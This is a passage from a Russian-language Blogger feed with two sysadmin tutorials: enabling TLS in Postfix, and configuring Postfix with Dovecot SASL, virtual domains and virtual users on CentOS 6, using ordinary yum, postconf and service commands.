&lt;a href=&quot;http://commons.wikipedia.org/wiki/File:Postfix-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto; text-align: clear:right;&quot;&gt;&lt;img alt=&quot;English:&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;91&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/d/d9/Postfix-logo.png&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;130&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;text-align: center; width: 130px;&quot;&gt;English: (Photo credit: &lt;a href=&quot;http://commons.wikipedia.org/wiki/File:Postfix-logo.png&quot; target=&quot;_blank&quot;&gt;Wikipedia&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
Логическим продолжением статьи&amp;nbsp;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/postfix-dovecot-sasl-virtualhosts.html&quot;&gt;Postfix и Dovecot SASL + VirtualHosts в CentOS 6 x86_64&lt;/a&gt; стала текущая тема.&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
В начале начал как всегда нужно сделать BackUP конфига&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cp &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/main.cf&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;,&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;bak_$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;date +%Y%m%d_%R&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
Сама процедура настройки занимает всего несколько строчек&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# объявляем хостнейм для которого выдан сертификат &lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;myhostname = mail.example1.com&#39;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# Рассказываем постфиксу тайну золотого ключика&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_tls_key_file = /etc/ssl/private/server.key&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_tls_cert_file = /etc/ssl/certs/server.crt&#39;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# и делаем еще несколько настроек значение см. офф. док.&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtp_tls_security_level = may&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_tls_security_level = may&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtp_tls_note_starttls_offer = yes&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_tls_loglevel = 1&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_tls_received_header = yes&#39;&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
И конечно не забудем перезапустить демона&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/postfix&lt;/span&gt; restart
&lt;/b&gt;Shutting down postfix&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                     &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
Starting postfix&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                          &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;
Читайте так же&amp;nbsp;&lt;a class=&quot;GIL3GQOBOB&quot; href=&quot;http://sc0rp1us.blogspot.ru/2013/04/tlsssl-dovecot-centos-x8664.html&quot; style=&quot;border: 0px; color: #1155cc; cursor: pointer; font-family: Arial, Helvetica, sans-serif; font-size: 13px; margin: 0px 10px 0px 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Включаем поддержку TLS/SSL для Dovecot в CentOS x86_64&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/9092779898780581264/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/tlsssl-postfix.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/9092779898780581264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/9092779898780581264'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/tlsssl-postfix.html' title='Включаем поддержку TLS/SSL в Postfix'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-8393924582506857191</id><published>2013-04-29T01:35:00.001+07:00</published><updated>2013-04-30T01:14:45.102+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="Dovecot"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Mail"/><category scheme="http://www.blogger.com/atom/ns#" term="Postfix"/><category scheme="http://www.blogger.com/atom/ns#" term="SASL"/><title type='text'>Postfix и Dovecot SASL + VirtualHosts в CentOS 6 x86_64</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFd2OYhGHp4N8UCgTO22_kv5dD0uAGa9xGthiphjTw_ahKFX2JsQRrDVIekcWzysLJ6iYtX8lxiJRzGLKizsNXO82XbFXPmuYtwtwS_OJzAhJFBG2y7fro1eb5AmsG97xzadpNe1w1ItNX/s1600/dovecot.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFd2OYhGHp4N8UCgTO22_kv5dD0uAGa9xGthiphjTw_ahKFX2JsQRrDVIekcWzysLJ6iYtX8lxiJRzGLKizsNXO82XbFXPmuYtwtwS_OJzAhJFBG2y7fro1eb5AmsG97xzadpNe1w1ItNX/s1600/dovecot.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container zemanta-img&quot; style=&quot;float: right; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;div class=&quot;zemanta-img&quot;&gt;
&lt;a href=&quot;http://commons.wikipedia.org/wiki/File:Postfix-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img alt=&quot;English:&quot; border=&quot;0&quot; class=&quot;zemanta-img-inserted&quot; height=&quot;91&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/d/d9/Postfix-logo.png&quot; style=&quot;border: none; font-size: 0.8em;&quot; width=&quot;130&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption zemanta-img-attribution&quot; style=&quot;font-size: 13px; text-align: center; width: 130px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Иногда случается нужда в развёртывании почты, но и вроде пользователей не так много чтобы городить жирные системы с базами данных в &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.mysql.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;MySQL&quot;&gt;MySQL&lt;/a&gt; или &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.postgresql.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;PostgreSQL&quot;&gt;PostgreSQL&lt;/a&gt;. Хотя с другой стороны и виртуальных пользователей хочется, и еще кое какие плюшки. Перед написанием статьи я очень много рыскал в интернетах, но статьи что попадались мне как правило были либо нацелены на слишком крупные системы, либо были сильно устаревшие и использовали уже не существующий синтаксис конфигов, либо, либо, либо...&lt;br /&gt;
&lt;br /&gt;
Вообщем если кратко, то эта статья про то как настроить &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.postfix.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Postfix (software)&quot;&gt;Postfix&lt;/a&gt;+Dovrcot+SASL виртуальными доменами и виртуальными пользователями и базой пользователей в текстовом файлике.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Очень часто бывает, что сервер с &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.centos.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;CentOS&quot;&gt;CentOS&lt;/a&gt;&amp;nbsp;попадается&amp;nbsp;multiarch, что чревато проблемами от простой установки не нужных 32х битных дубликатов всех пакетов до серьёзных конфликтов &amp;nbsp;в зависимостях. По этой причине считается хорошим тоном отключать возможность&amp;nbsp;инсталляции&amp;nbsp;пакетов 32х битной архитектуры на 64х битной системе, что мы и сделаем при установке.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Готовим базис&amp;nbsp;&lt;/h3&gt;
&lt;br /&gt;
Поставим необходимые нам в настройке пакеты&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;exclude=*.i386 *.i686&#39;&lt;/span&gt; &amp;gt;&amp;gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/yum.conf&lt;/span&gt;
yum install postfix postfix-perl-scripts dovecot mailx telnet -y&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Чтобы убедиться что мы с вами работаем с одинаковыми мажорными ветками, сверим ПО.&lt;br /&gt;
Это необходимо, поскольку у разных веток одного софта, может быть разный синтаксис.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;rpm -qa &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; e&lt;span style=&quot;color: #bb7977;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;postfix&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;dovecot&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&#39;&lt;/span&gt;
&lt;/b&gt; dovecot-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;9&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;el6&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;x86_64
 postfix-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;el6_1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;x86_64
 postfix-perl-scripts-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;-&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;el6_1&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;x86_64&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div&gt;
Убедимся что они запускаются чтобы не было мучительно больно&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;b&gt;service postfix start
&lt;/b&gt; Starting postfix&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                          &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;
&lt;b&gt;service dovecot start
&lt;/b&gt; Starting &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.dovecot.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Dovecot (software)&quot;&gt;Dovecot&lt;/a&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Internet_Message_Access_Protocol&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Internet Message Access Protocol&quot;&gt;Imap&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;                                     &lt;span style=&quot;color: #806030;&quot;&gt;[&lt;/span&gt;  OK  &lt;span style=&quot;color: #806030;&quot;&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ну и закрепим их в автозапуске&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;chkconfig postfix on
chkconfig dovecot on&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Можно приступать к конфигурации системы&lt;br /&gt;
Пока не забыли добавим пользователя который будет являться владельцем писем всех пользователей.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;groupadd &lt;span style=&quot;color: #44aadd;&quot;&gt;-g&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;5000&lt;/span&gt; vmail
useradd -m &lt;span style=&quot;color: #44aadd;&quot;&gt;-u&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;5000&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-g&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;5000&lt;/span&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-s&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.gnu.org/software/bash/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Bash (Unix shell)&quot;&gt;/bin/bash&lt;/a&gt;&lt;/span&gt; vmail&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Ubuntu Mono&#39;, monospace; font-size: 14px; line-height: 22px; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Ubuntu Mono&#39;, monospace; font-size: 14px; line-height: 22px; text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;h3&gt;
Конфигурация Postfix&lt;/h3&gt;
У Postfix&#39;a есть замечательный набор конфигурационных скриптов, который избавляет нас от необходимости лазить по конфигу в поисках той или иной опции, и делает процесс настройки более наглядным и если у вас правильно настроен .bashrc, то и позволяет использовать .bash_history в качестве документа изменений конфигурации.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;ВСЕГДА&lt;/b&gt; делайте BackUP &amp;nbsp;конфигов перед их изменением, а лучше заведите сервер контроля версий типа &lt;a class=&quot;zem_slink&quot; href=&quot;http://git-scm.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Git (software)&quot;&gt;Git&lt;/a&gt; или &lt;a class=&quot;zem_slink&quot; href=&quot;http://subversion.apache.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Apache Subversion&quot;&gt;SVN&lt;/a&gt; для конфигов.&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cp &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/main.cf&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;{&lt;/span&gt;,&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;bak&lt;span style=&quot;color: #806030;&quot;&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Теперь можно менять конфигурацию&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;# Сделаем базовые настройки&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;mail_spool_directory = /var/spool/mail&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;mynetworks = 127.0.&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;0.0/8&#39;&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;inet_interfaces = all&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;myhostname = mail.example1.com&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;mydestination = $myhostname, localhost.$mydomain, localhost&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;home_mailbox = &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Maildir&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Maildir&quot;&gt;Maildir&lt;/a&gt;/&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;recipient_delimiter = +&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;mailbox_size_limit = 0&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;alias_maps = hash:/etc/aliases&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;alias_database = hash:/etc/aliases&#39;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# Расскажем Postfix&#39;y где наш SASL свой socket &lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;отрастил&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_sasl_type = dovecot&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_sasl_path = private/auth&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_sasl_local_domain =&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_sasl_security_options = noanonymous&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;broken_sasl_auth_clients = yes&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_sasl_auth_enable = yes&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination&#39;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;# Расскажем &lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;Postfix&#39;y где список доменов зарыли, и куда нынче принято письма складывать&lt;/span&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt; &lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;virtual_mailbox_domains = /etc/postfix/vhosts&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;virtual_mailbox_base = /home/vmail&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;virtual_mailbox_maps = hash:/etc/postfix/vmaps&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;virtual_minimum_uid = 1000&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;virtual_uid_maps = static:5000&#39;&lt;/span&gt;
postconf &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;virtual_gid_maps = static:5000&#39;&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Ubuntu Mono, monospace;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
Перечислим все обслуживаемые домены в файле&amp;nbsp;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/vhosts&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/postfix/vhosts&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
